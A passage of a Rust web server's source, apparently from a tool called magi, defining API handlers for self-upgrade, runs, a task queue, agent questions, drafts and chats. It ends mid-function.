1858async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1882 let reading = daemon::read_status(&ui.home);
1883 if let Some(other) = Foreign::of(reading.as_ref()) {
1884 return Err(ApiError::conflict(format!(
1885 "the loop belongs to {}, so replacing this binary would leave \
1886 that process running an old one against the same queue. Upgrade \
1887 where it was started.",
1888 other.who()
1889 )));
1890 }
1891
1892 if crate::updater::disabled_by_env() {
1898 return Ok((
1899 StatusCode::OK,
1900 Json(UpgradeView {
1901 from: env!("CARGO_PKG_VERSION").to_owned(),
1902 to: None,
1903 parked: None,
1904 detail: format!(
1905 "Automatic updates are disabled by {}. Nothing was parked \
1906 and nothing restarted.",
1907 crate::updater::NO_AUTOUPDATE_ENV
1908 ),
1909 }),
1910 ));
1911 }
1912
1913 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1918 let from = env!("CARGO_PKG_VERSION").to_owned();
1919 let latest = match crate::updater::Checker::new(&cfg.update) {
1920 Some(checker) => checker
1921 .newer_release()
1922 .await
1923 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1924 None => None,
1925 };
1926 let Some(latest) = latest else {
1927 return Ok((
1928 StatusCode::OK,
1929 Json(UpgradeView {
1930 from,
1931 to: None,
1932 parked: None,
1933 detail: "Already on the newest release. Nothing was parked \
1934 and nothing restarted."
1935 .to_owned(),
1936 }),
1937 ));
1938 };
1939
1940 let parked = ui.park_for_upgrade()?;
1943 let detail = match &parked {
1944 Some(run) => format!(
1949 "Run {} is parking at its next step, which can take as long as \
1950 the step it is on - up to an hour for an implement wave. The \
1951 deck replaces itself once it parks, comes back, and the loop \
1952 carries that run on from where it stopped. Nothing is lost if \
1953 you close this.",
1954 crate::run::short_of(run)
1955 ),
1956 None => "The deck replaces itself and comes back. Nothing was in \
1957 flight to park."
1958 .to_owned(),
1959 };
1960
1961 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1965 progress.parked_run = parked.clone();
1966 let _ = updater::write_progress(&ui.home, &progress);
1967
1968 let home = ui.home.clone();
1969 tokio::spawn(async move {
1970 if let Err(e) = upgrade_and_restart(home.clone()).await {
1971 tracing::error!("the upgrade did not complete: {e:#}");
1972 if let Some(mut progress) = updater::read_progress(&home) {
1973 progress.fail(format!("{e:#}"));
1974 let _ = updater::write_progress(&home, &progress);
1975 }
1976 }
1977 });
1978
1979 Ok((
1980 StatusCode::ACCEPTED,
1981 Json(UpgradeView {
1982 from,
1983 to: Some(latest.tag_name),
1984 parked,
1985 detail,
1986 }),
1987 ))
1988}
1989
1990async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1995 crate::updater::run_self_update(true, false, true).await?;
1998 tracing::info!("binary replaced - asking the server to hand over");
1999 if let Some(mut progress) = updater::read_progress(&home) {
2000 progress.advance(updater::Stage::Replaced);
2001 let _ = updater::write_progress(&home, &progress);
2002 }
2003 HANDOVER.notify_one();
2004 Ok(())
2005}
2006
2007#[derive(Debug, Serialize)]
2013struct RunSummary {
2014 id: String,
2015 short: String,
2016 status: String,
2017 done: bool,
2018 instruction: String,
2019 title: String,
2020 repo: String,
2021 repo_name: String,
2022 created_at: String,
2023 updated_at: String,
2024 candidates: usize,
2025 viable: usize,
2026 judges: usize,
2027 winner: Option<char>,
2028 reviews: usize,
2029 quota_losses: usize,
2030 event: Option<String>,
2031 superseded_by: Option<String>,
2036 waiting: bool,
2043 pr: Option<crate::run::PrRecord>,
2045}
2046
2047impl RunSummary {
2048 fn of(state: &RunState, waiting: bool) -> Self {
2049 Self {
2050 id: state.id.clone(),
2051 short: state.short().to_owned(),
2052 status: status_word(state.status),
2053 done: state.status.done(),
2054 instruction: state.instruction.clone(),
2055 title: title_from(&state.instruction, TITLE_MAX),
2056 repo: state.repo.display().to_string(),
2057 repo_name: state
2058 .repo
2059 .file_name()
2060 .map(|n| n.to_string_lossy().into_owned())
2061 .unwrap_or_default(),
2062 created_at: state.created_at.to_string(),
2063 updated_at: state.updated_at.to_string(),
2064 candidates: state.candidates.len(),
2065 viable: state.viable().len(),
2066 judges: state.config.graph.judges,
2067 winner: state.winner().map(|c| c.label),
2068 reviews: state.reviews.len(),
2069 quota_losses: state.quota.len(),
2070 event: state.events.last().map(|e| e.message.clone()),
2071 waiting,
2072 superseded_by: None,
2075 pr: state.pr.clone(),
2076 }
2077 }
2078}
2079
2080fn status_word(status: RunStatus) -> String {
2083 status.as_str().to_owned()
2087}
2088
2089#[derive(Debug, Deserialize)]
2091struct ListQuery {
2092 #[serde(default)]
2093 limit: Option<usize>,
2094}
2095
2096async fn runs_list(
2097 State(ui): State<Arc<Ui>>,
2098 Query(q): Query<ListQuery>,
2099) -> ApiResult<Json<Vec<RunSummary>>> {
2100 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2101 blocking(move || {
2102 let superseded = superseded_runs(&ui.queue);
2103 let summaries = run_ids(&ui.runs)
2104 .into_iter()
2105 .filter_map(|id| read_run(&ui.runs, &id).ok())
2110 .take(limit)
2111 .map(|state| {
2112 let waiting = !ui.questions.open_for(&state.id).is_empty();
2113 let by = superseded.get(&state.id).cloned();
2114 let mut row = RunSummary::of(&state, waiting);
2115 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2116 row
2117 })
2118 .collect();
2119 Ok(Json(summaries))
2120 })
2121 .await
2122}
2123
2124fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2137 let mut by = HashMap::new();
2138 for task in queue.list() {
2139 for pair in task.runs.windows(2) {
2140 if let [earlier, later] = pair {
2141 by.insert(earlier.clone(), later.clone());
2142 }
2143 }
2144 }
2145 by
2146}
2147
2148#[derive(Debug, Serialize)]
2155struct RunDetailView {
2156 #[serde(flatten)]
2157 state: RunState,
2158 instruction_md: Vec<md::Node>,
2159 live: bool,
2169}
2170
2171impl RunDetailView {
2172 fn of(state: RunState, live: bool) -> Self {
2173 Self {
2174 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2175 live,
2176 state,
2177 }
2178 }
2179}
2180
2181async fn run_detail(
2182 State(ui): State<Arc<Ui>>,
2183 Path(id): Path<String>,
2184) -> ApiResult<Json<RunDetailView>> {
2185 blocking(move || {
2186 let id = resolve_run(&ui.runs, &id)?;
2187 let state = read_run(&ui.runs, &id)?;
2188 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2189 Ok(Json(RunDetailView::of(state, live)))
2190 })
2191 .await
2192}
2193
2194async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2203 let (id, unreadable) = {
2204 let ui = Arc::clone(&ui);
2205 blocking(move || {
2206 let id = resolve_run(&ui.runs, &id)?;
2207 match read_run(&ui.runs, &id) {
2208 Ok(state) => {
2209 let in_flight =
2210 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2211 state
2212 .ensure_can_delete(in_flight)
2213 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2214 let dir = ui.runs.join(&id);
2215 std::fs::remove_dir_all(&dir)
2216 .with_context(|| format!("remove run directory {}", dir.display()))?;
2217 Ok((id, false))
2218 }
2219 Err(_) => {
2220 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2224 return Err(ApiError::conflict(format!(
2225 "run {id} is being worked on by a live daemon right now"
2226 )));
2227 }
2228 Ok((id, true))
2229 }
2230 }
2231 })
2232 .await?
2233 };
2234 if unreadable {
2235 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2236 .await
2237 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2238 }
2239 let ui = Arc::clone(&ui);
2240 let done = id.clone();
2241 blocking(move || {
2242 ui.questions.abandon_for_run(
2245 &done,
2246 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2247 )?;
2248 Ok(())
2249 })
2250 .await?;
2251 Ok(StatusCode::NO_CONTENT)
2252}
2253
2254async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2278 let (id, state) = {
2279 let ui = Arc::clone(&ui);
2280 blocking(move || {
2281 let id = resolve_run(&ui.runs, &id)?;
2282 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2283 return Err(ApiError::conflict(format!(
2284 "run {id} is being worked on by a live daemon right now"
2285 )));
2286 }
2287 let state = read_run(&ui.runs, &id).ok();
2288 Ok((id, state))
2289 })
2290 .await?
2291 };
2292 let removed = match state {
2293 Some(mut state) => crate::graph::fold_run(&mut state, true)
2294 .await
2295 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2296 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2297 .await
2298 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2299 };
2300 Ok(Json(FoldView {
2301 run: id,
2302 removed_count: removed.len(),
2303 removed,
2304 }))
2305}
2306
2307#[derive(Debug, Serialize)]
2309struct FoldView {
2310 run: String,
2311 removed: Vec<String>,
2313 removed_count: usize,
2314}
2315
2316async fn run_resume(
2336 State(ui): State<Arc<Ui>>,
2337 Path(id): Path<String>,
2338) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2339 let (id, state) = {
2340 let ui = Arc::clone(&ui);
2341 blocking(move || {
2342 let id = resolve_run(&ui.runs, &id)?;
2343 let state = read_run(&ui.runs, &id)?;
2344 Ok((id, state))
2345 })
2346 .await?
2347 };
2348 if !state.status.resumable() {
2349 return Err(ApiError::conflict(format!(
2350 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2351 state.short(),
2352 status_word(state.status)
2353 )));
2354 }
2355 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2360 .into_iter()
2361 .next()
2362 {
2363 return Err(ApiError::conflict(format!(
2364 "the loop is running run {} right now; stop it first, or wait for \
2365 it to finish, before resuming a run by hand.",
2366 crate::run::short_of(&work.run)
2367 )));
2368 }
2369 let _resume = ui.begin_resume(&id)?;
2370
2371 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2374 let run = id.clone();
2375 tokio::spawn(async move {
2376 let _resume = _resume;
2377 match crate::graph::Runner::resume(&run) {
2378 Ok(mut runner) => {
2379 if let Err(e) = runner.execute().await {
2380 tracing::warn!("resume of run {run} stopped: {e:#}");
2381 }
2382 }
2383 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2386 }
2387 });
2388 Ok((StatusCode::ACCEPTED, Json(queued)))
2389}
2390
2391async fn run_report(
2392 State(ui): State<Arc<Ui>>,
2393 Path(id): Path<String>,
2394) -> ApiResult<impl IntoResponse> {
2395 let text = blocking(move || {
2396 let id = resolve_run(&ui.runs, &id)?;
2397 let state = read_run(&ui.runs, &id)?;
2401 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2402 Ok(format!(
2403 "{}{}",
2404 report::run(&state),
2405 report::active_seats(&state, live)
2406 ))
2407 })
2408 .await?;
2409 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2410}
2411
2412#[derive(Debug, Serialize)]
2418struct TaskView {
2419 #[serde(flatten)]
2420 task: Task,
2421 source_label: String,
2422 status_str: &'static str,
2423 instruction_md: Vec<md::Node>,
2427}
2428
2429impl From<Task> for TaskView {
2430 fn from(task: Task) -> Self {
2431 Self {
2432 source_label: task.source.label(),
2433 status_str: task.status.as_str(),
2434 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2435 task,
2436 }
2437 }
2438}
2439
2440#[derive(Debug, Default, Deserialize)]
2443#[serde(default)]
2444struct ReposQuery {
2445 refresh: u8,
2446}
2447
2448async fn repos_list(
2456 State(ui): State<Arc<Ui>>,
2457 Query(q): Query<ReposQuery>,
2458) -> ApiResult<Json<Vec<repos::Repo>>> {
2459 let refresh = q.refresh != 0;
2460 blocking(move || {
2461 let (cfg, _) = Config::discover(&ui.repo, None)?;
2462 Ok(Json(ui.repos_cache.list(
2463 &cfg.repos.roots,
2464 Duration::from_secs(cfg.repos.scan_ttl),
2465 refresh,
2466 )))
2467 })
2468 .await
2469}
2470
2471#[derive(Debug, Serialize)]
2474struct DraftSummary {
2475 id: String,
2476 title: String,
2477 seats: usize,
2478 proposals: usize,
2479}
2480
2481async fn drafts_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<DraftSummary>>> {
2491 blocking(move || {
2492 let dir = ui.home.join("drafts");
2493 let mut out = Vec::new();
2494 let Ok(entries) = std::fs::read_dir(&dir) else {
2495 return Ok(Json(out));
2496 };
2497 for entry in entries.flatten() {
2498 let name = entry.file_name();
2499 let Some(id) = name.to_str().and_then(|n| n.strip_suffix(".advisors.json")) else {
2500 continue;
2501 };
2502 let Ok(raw) = std::fs::read_to_string(entry.path()) else {
2503 continue;
2504 };
2505 let Ok(advice) = serde_json::from_str::<advise::Advice>(&raw) else {
2506 continue;
2507 };
2508 let title = std::fs::read_to_string(dir.join(format!("{id}.md")))
2509 .ok()
2510 .map(|body| title_from(&body, TITLE_MAX))
2511 .unwrap_or_else(|| id.to_owned());
2512 out.push(DraftSummary {
2513 id: id.to_owned(),
2514 title,
2515 seats: advice.records.len(),
2516 proposals: advice.proposals().len(),
2517 });
2518 }
2519 out.sort_by(|a, b| b.id.cmp(&a.id));
2522 Ok(Json(out))
2523 })
2524 .await
2525}
2526
2527#[derive(Debug, Serialize)]
2540struct DraftAdvisorsView {
2541 #[serde(flatten)]
2542 advice: advise::Advice,
2543 draft: Option<String>,
2550 draft_md: Option<Vec<md::Node>>,
2554}
2555
2556async fn draft_advisors(
2565 State(ui): State<Arc<Ui>>,
2566 Path(id): Path<String>,
2567) -> ApiResult<Json<DraftAdvisorsView>> {
2568 blocking(move || {
2569 let dir = ui.home.join("drafts");
2570 let path = dir.join(format!("{id}.advisors.json"));
2571 let raw = std::fs::read_to_string(&path)
2572 .map_err(|_| ApiError::not_found(format!("no advisor record for draft `{id}`")))?;
2573 let advice: advise::Advice = serde_json::from_str(&raw)
2574 .map_err(|e| ApiError::internal(format!("parse {}: {e:#}", path.display())))?;
2575 let draft = std::fs::read_to_string(dir.join(format!("{id}.md"))).ok();
2576 let draft_md = draft
2577 .as_deref()
2578 .map(|body| md::to_nodes(body, &md::ImageBase::None));
2579 Ok(Json(DraftAdvisorsView {
2580 advice,
2581 draft,
2582 draft_md,
2583 }))
2584 })
2585 .await
2586}
2587
2588async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2589 blocking(move || {
2590 Ok(Json(
2591 ui.queue.list().into_iter().map(TaskView::from).collect(),
2592 ))
2593 })
2594 .await
2595}
2596
2597#[derive(Debug, Default, Deserialize)]
2600#[serde(default, deny_unknown_fields)]
2601struct HoldBody {
2602 reason: Option<String>,
2603}
2604
2605async fn queue_hold(
2606 State(ui): State<Arc<Ui>>,
2607 Path(id): Path<String>,
2608 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2609) -> ApiResult<Json<TaskView>> {
2610 let body = match body {
2614 Ok(Json(body)) => body,
2615 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2616 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2617 };
2618 let reason = body.reason.filter(|r| !r.trim().is_empty());
2619 mutate(ui, id, move |t| {
2620 t.hold(reason.clone());
2621 Ok(())
2622 })
2623 .await
2624}
2625
2626async fn queue_release(
2627 State(ui): State<Arc<Ui>>,
2628 Path(id): Path<String>,
2629) -> ApiResult<Json<TaskView>> {
2630 mutate(ui, id, |t| {
2631 t.release();
2632 Ok(())
2633 })
2634 .await
2635}
2636
2637#[derive(Debug, Deserialize)]
2639#[serde(deny_unknown_fields)]
2640struct PriorityBody {
2641 priority: i32,
2642}
2643
2644async fn queue_priority(
2650 State(ui): State<Arc<Ui>>,
2651 Path(id): Path<String>,
2652 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2653) -> ApiResult<Json<TaskView>> {
2654 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2655 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2656}
2657
2658#[derive(Debug, Deserialize)]
2660#[serde(deny_unknown_fields)]
2661struct EditBody {
2662 title: String,
2663 instruction: String,
2664}
2665
2666async fn queue_edit(
2670 State(ui): State<Arc<Ui>>,
2671 Path(id): Path<String>,
2672 body: std::result::Result<Json<EditBody>, JsonRejection>,
2673) -> ApiResult<Json<TaskView>> {
2674 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2675 mutate(ui, id, move |t| {
2676 t.edit(body.title.clone(), body.instruction.clone())
2677 })
2678 .await
2679}
2680
2681async fn queue_done(
2689 State(ui): State<Arc<Ui>>,
2690 Path(id): Path<String>,
2691) -> ApiResult<Json<TaskView>> {
2692 mutate(ui, id, |t| {
2693 t.succeed();
2694 Ok(())
2695 })
2696 .await
2697}
2698
2699async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2707 blocking(move || {
2708 let id = resolve_task(&ui.queue, &id)?;
2709 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2710 ui.queue
2711 .remove(&id, in_flight)
2712 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2713 Ok(StatusCode::NO_CONTENT)
2714 })
2715 .await
2716}
2717
2718async fn mutate(
2727 ui: Arc<Ui>,
2728 id: String,
2729 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2730) -> ApiResult<Json<TaskView>> {
2731 blocking(move || {
2732 let id = resolve_task(&ui.queue, &id)?;
2733 let _claim = ui.queue.claim(&id).map_err(|e| {
2738 ApiError::conflict(format!(
2739 "{e:#} - a daemon is running this task, so it cannot be \
2740 changed from here yet"
2741 ))
2742 })?;
2743 let mut task = ui.queue.get(&id)?;
2744 change(&mut task).map_err(ApiError::bad_request_from)?;
2745 ui.queue.put(&mut task)?;
2746 Ok(Json(TaskView::from(task)))
2747 })
2748 .await
2749}
2750
2751async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2759 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2760 tokio::spawn(async move {
2761 let mut ticker = tokio::time::interval(POLL);
2762 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2763 loop {
2764 ticker.tick().await;
2767 let state = Arc::clone(&ui);
2768 let revisions = tokio::task::spawn_blocking(move || {
2769 (
2770 state.queue.revision(),
2771 runs_revision(&state.runs),
2772 state.questions.revision(),
2773 state.chats.revision(),
2774 state.talks.revision(),
2775 state.lock_loop().rev,
2779 )
2780 })
2781 .await;
2782 let Ok(revisions) = revisions else { break };
2783 if last == Some(revisions) {
2784 continue;
2785 }
2786 last = Some(revisions);
2787 let payload = serde_json::json!({
2788 "queue_rev": revisions.0,
2789 "runs_rev": revisions.1,
2790 "questions_rev": revisions.2,
2791 "chats_rev": revisions.3,
2792 "talks_rev": revisions.4,
2793 "loop_rev": revisions.5,
2794 });
2795 let Ok(event) = Event::default().event("change").json_data(payload) else {
2797 break;
2798 };
2799 if tx.send(event).await.is_err() {
2800 break;
2801 }
2802 }
2803 });
2804 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2805 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2806}
2807
2808fn runs_revision(runs: &FsPath) -> u64 {
2815 use std::hash::{Hash as _, Hasher as _};
2816
2817 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2818 .into_iter()
2819 .flatten()
2820 .flatten()
2821 .filter_map(|e| {
2822 let path = e.path().join("run.json");
2823 let mtime = path
2824 .metadata()
2825 .ok()?
2826 .modified()
2827 .ok()?
2828 .duration_since(std::time::UNIX_EPOCH)
2829 .ok()?
2830 .as_millis() as u64;
2831 let id = e.file_name().to_string_lossy().into_owned();
2832 Some((id, mtime))
2833 })
2834 .collect();
2835
2836 if entries.is_empty() {
2837 return 0;
2838 }
2839
2840 entries.sort_unstable();
2841 let mut hasher = std::hash::DefaultHasher::new();
2842 for (id, mtime) in &entries {
2843 id.hash(&mut hasher);
2844 mtime.hash(&mut hasher);
2845 }
2846 let h = hasher.finish();
2847 if h == 0 { 1 } else { h }
2848}
2849
2850fn run_ids(runs: &FsPath) -> Vec<String> {
2856 let mut ids: Vec<String> = std::fs::read_dir(runs)
2857 .into_iter()
2858 .flatten()
2859 .flatten()
2860 .filter(|e| e.path().join("run.json").is_file())
2861 .map(|e| e.file_name().to_string_lossy().into_owned())
2862 .collect();
2863 ids.sort_unstable_by(|a, b| b.cmp(a));
2865 ids
2866}
2867
2868fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2870 let path = runs.join(id).join("run.json");
2871 let body =
2872 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2873 let state: RunState =
2874 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2875 if state.schema != run::SCHEMA {
2876 anyhow::bail!(
2877 "run {} was written by a different magi (schema {}, this build speaks {})",
2878 state.id,
2879 state.schema,
2880 run::SCHEMA
2881 );
2882 }
2883 Ok(state)
2884}
2885
2886#[must_use]
2894pub fn runs_unreadable(runs: &FsPath) -> usize {
2895 run_ids(runs)
2896 .into_iter()
2897 .filter(|id| read_run(runs, id).is_err())
2898 .count()
2899}
2900
2901fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2903 if runs.join(id).join("run.json").is_file() {
2904 return Ok(id.to_owned());
2905 }
2906 pick(run_ids(runs), id, "run")
2907}
2908
2909fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2911 if queue.path_of(id).is_file() {
2912 return Ok(id.to_owned());
2913 }
2914 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2915}
2916
2917#[derive(Debug, Serialize)]
2928struct QuestionView {
2929 #[serde(flatten)]
2930 question: Question,
2931 detail_md: Vec<md::Node>,
2932 waiting_on_agent: bool,
2942}
2943
2944impl From<Question> for QuestionView {
2945 fn from(question: Question) -> Self {
2946 let base = md::ImageBase::QuestionPanel {
2947 id: question.id.clone(),
2948 };
2949 Self {
2950 detail_md: md::to_nodes(&question.detail, &base),
2951 waiting_on_agent: question.waiting_on_agent(),
2952 question,
2953 }
2954 }
2955}
2956
2957async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2963 blocking(move || {
2964 Ok(Json(
2965 ui.questions
2966 .list()
2967 .into_iter()
2968 .map(QuestionView::from)
2969 .collect(),
2970 ))
2971 })
2972 .await
2973}
2974
2975#[derive(Debug, Default, Deserialize)]
2981#[serde(default, deny_unknown_fields)]
2982struct NewAnswer {
2983 choice: Option<String>,
2984 text: Option<String>,
2985}
2986
2987async fn question_answer(
2988 State(ui): State<Arc<Ui>>,
2989 Path(id): Path<String>,
2990 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2991) -> ApiResult<Json<QuestionView>> {
2992 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2993 let answer = match (body.choice, body.text) {
2994 (Some(c), None) => Answer::Choice(c),
2995 (None, Some(t)) => Answer::Text(t),
2996 (Some(_), Some(_)) => {
2997 return Err(ApiError::bad_request(
2998 "send either `choice` or `text`, not both",
2999 ));
3000 }
3001 (None, None) => {
3002 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3003 }
3004 };
3005
3006 blocking(move || {
3007 let id = resolve_question(&ui.questions, &id)?;
3008 let mut q = ui
3009 .questions
3010 .get(&id)
3011 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3012 if !q.status.open() {
3013 return Err(ApiError::conflict(format!(
3017 "question {} is already {}",
3018 q.short(),
3019 q.status.as_str()
3020 )));
3021 }
3022 q.answer(answer).map_err(ApiError::bad_request_from)?;
3026 ui.questions.put(&mut q)?;
3027 Ok(Json(QuestionView::from(q)))
3028 })
3029 .await
3030}
3031
3032#[derive(Debug, Deserialize)]
3034#[serde(deny_unknown_fields)]
3035struct NewSay {
3036 body: String,
3037}
3038
3039async fn question_say(
3048 State(ui): State<Arc<Ui>>,
3049 Path(id): Path<String>,
3050 body: std::result::Result<Json<NewSay>, JsonRejection>,
3051) -> ApiResult<Json<QuestionView>> {
3052 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3053 blocking(move || {
3054 let id = resolve_question(&ui.questions, &id)?;
3055 let mut q = ui
3056 .questions
3057 .get(&id)
3058 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3059 if !q.status.open() {
3060 return Err(ApiError::conflict(format!(
3064 "question {} is already {}",
3065 q.short(),
3066 q.status.as_str()
3067 )));
3068 }
3069 q.say(body.body).map_err(ApiError::bad_request_from)?;
3072 ui.questions.put(&mut q)?;
3073 Ok(Json(QuestionView::from(q)))
3074 })
3075 .await
3076}
3077
3078fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3080 if store.path_of(id).is_file() {
3081 return Ok(id.to_owned());
3082 }
3083 pick(
3084 store.list().into_iter().map(|q| q.id).collect(),
3085 id,
3086 "question",
3087 )
3088}
3089
3090async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3105 blocking(move || {
3106 let id = resolve_question(&ui.questions, &id)?;
3107 let Some(html) = ui.questions.panel_html(&id) else {
3108 return Err(ApiError::not_found(format!("question {id} has no panel")));
3109 };
3110 Ok(panel_response(
3111 "text/html; charset=utf-8",
3112 false,
3113 html.into_bytes(),
3114 ))
3115 })
3116 .await
3117}
3118
3119async fn question_asset(
3147 State(ui): State<Arc<Ui>>,
3148 Path((id, name)): Path<(String, String)>,
3149) -> ApiResult<Response> {
3150 if !crate::ask::valid_asset_name(&name) {
3153 return Err(ApiError::bad_request(format!(
3154 "`{name}` is not a usable asset name"
3155 )));
3156 }
3157 blocking(move || {
3158 let id = resolve_question(&ui.questions, &id)?;
3159 let asset = ui
3160 .questions
3161 .panel_asset(&id, &name)
3162 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3163 let Some(bytes) = asset else {
3164 return Err(ApiError::not_found(format!(
3165 "question {id} has no asset `{name}`"
3166 )));
3167 };
3168 Ok(panel_response(
3169 asset_content_type(&name),
3170 is_svg(&name),
3171 bytes,
3172 ))
3173 })
3174 .await
3175}
3176
3177fn asset_content_type(name: &str) -> &'static str {
3190 match extension(name).as_deref() {
3191 Some("png") => "image/png",
3192 Some("jpg" | "jpeg") => "image/jpeg",
3193 Some("gif") => "image/gif",
3194 Some("webp") => "image/webp",
3195 Some("svg") => "image/svg+xml",
3196 Some("css") => "text/css; charset=utf-8",
3197 Some("txt") => "text/plain; charset=utf-8",
3198 _ => "application/octet-stream",
3199 }
3200}
3201
3202fn is_svg(name: &str) -> bool {
3205 extension(name).as_deref() == Some("svg")
3206}
3207
3208fn extension(name: &str) -> Option<String> {
3210 name.rsplit_once('.')
3211 .map(|(_, ext)| ext.to_ascii_lowercase())
3212}
3213
3214fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3231 let mut res = (
3232 [
3233 (header::CONTENT_TYPE, content_type),
3234 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3235 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3236 (header::REFERRER_POLICY, "no-referrer"),
3237 ],
3238 body,
3239 )
3240 .into_response();
3241 if download {
3242 res.headers_mut().insert(
3243 header::CONTENT_DISPOSITION,
3244 HeaderValue::from_static("attachment"),
3245 );
3246 }
3247 res
3248}
3249
3250#[derive(Debug, Serialize)]
3259struct ChatView {
3260 #[serde(flatten)]
3261 chat: Chat,
3262 turn_bodies_md: Vec<Vec<md::Node>>,
3263 draft_md: Option<Vec<md::Node>>,
3264 thinking: bool,
3276}
3277
3278impl ChatView {
3279 fn new(chat: Chat, thinking: bool) -> Self {
3280 let turn_bodies_md = chat
3281 .turns
3282 .iter()
3283 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3284 .collect();
3285 let draft_md = chat
3286 .draft
3287 .as_deref()
3288 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
3289 Self {
3290 turn_bodies_md,
3291 draft_md,
3292 thinking,
3293 chat,
3294 }
3295 }
3296}
3297
3298async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
3306 blocking(move || {
3307 Ok(Json(
3308 ui.chats
3309 .list()
3310 .into_iter()
3311 .map(|chat| {
3312 let thinking = ui.is_thinking(&chat.id);
3313 ChatView::new(chat, thinking)
3314 })
3315 .collect(),
3316 ))
3317 })
3318 .await
3319}
3320
3321async fn chat_detail(
3322 State(ui): State<Arc<Ui>>,
3323 Path(id): Path<String>,
3324) -> ApiResult<Json<ChatView>> {
3325 blocking(move || {
3326 let id = resolve_chat(&ui.chats, &id)?;
3327 let chat = ui.chats.get(&id)?;
3328 let thinking = ui.is_thinking(&chat.id);
3329 Ok(Json(ChatView::new(chat, thinking)))
3330 })
3331 .await
3332}
3333
3334#[derive(Debug, Default, Deserialize)]
3345#[serde(default)]
3346struct NewChat {
3347 idea: String,
3348 agent: Option<String>,
3349 repo: Option<PathBuf>,
3350 from: Option<String>,
3351}
3352
3353async fn chat_post(
3375 State(ui): State<Arc<Ui>>,
3376 body: std::result::Result<Json<NewChat>, JsonRejection>,
3377) -> ApiResult<impl IntoResponse> {
3378 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3379 if body.idea.trim().is_empty() {
3380 return Err(ApiError::bad_request(
3381 "an interview needs something to interview about",
3382 ));
3383 }
3384
3385 let from = {
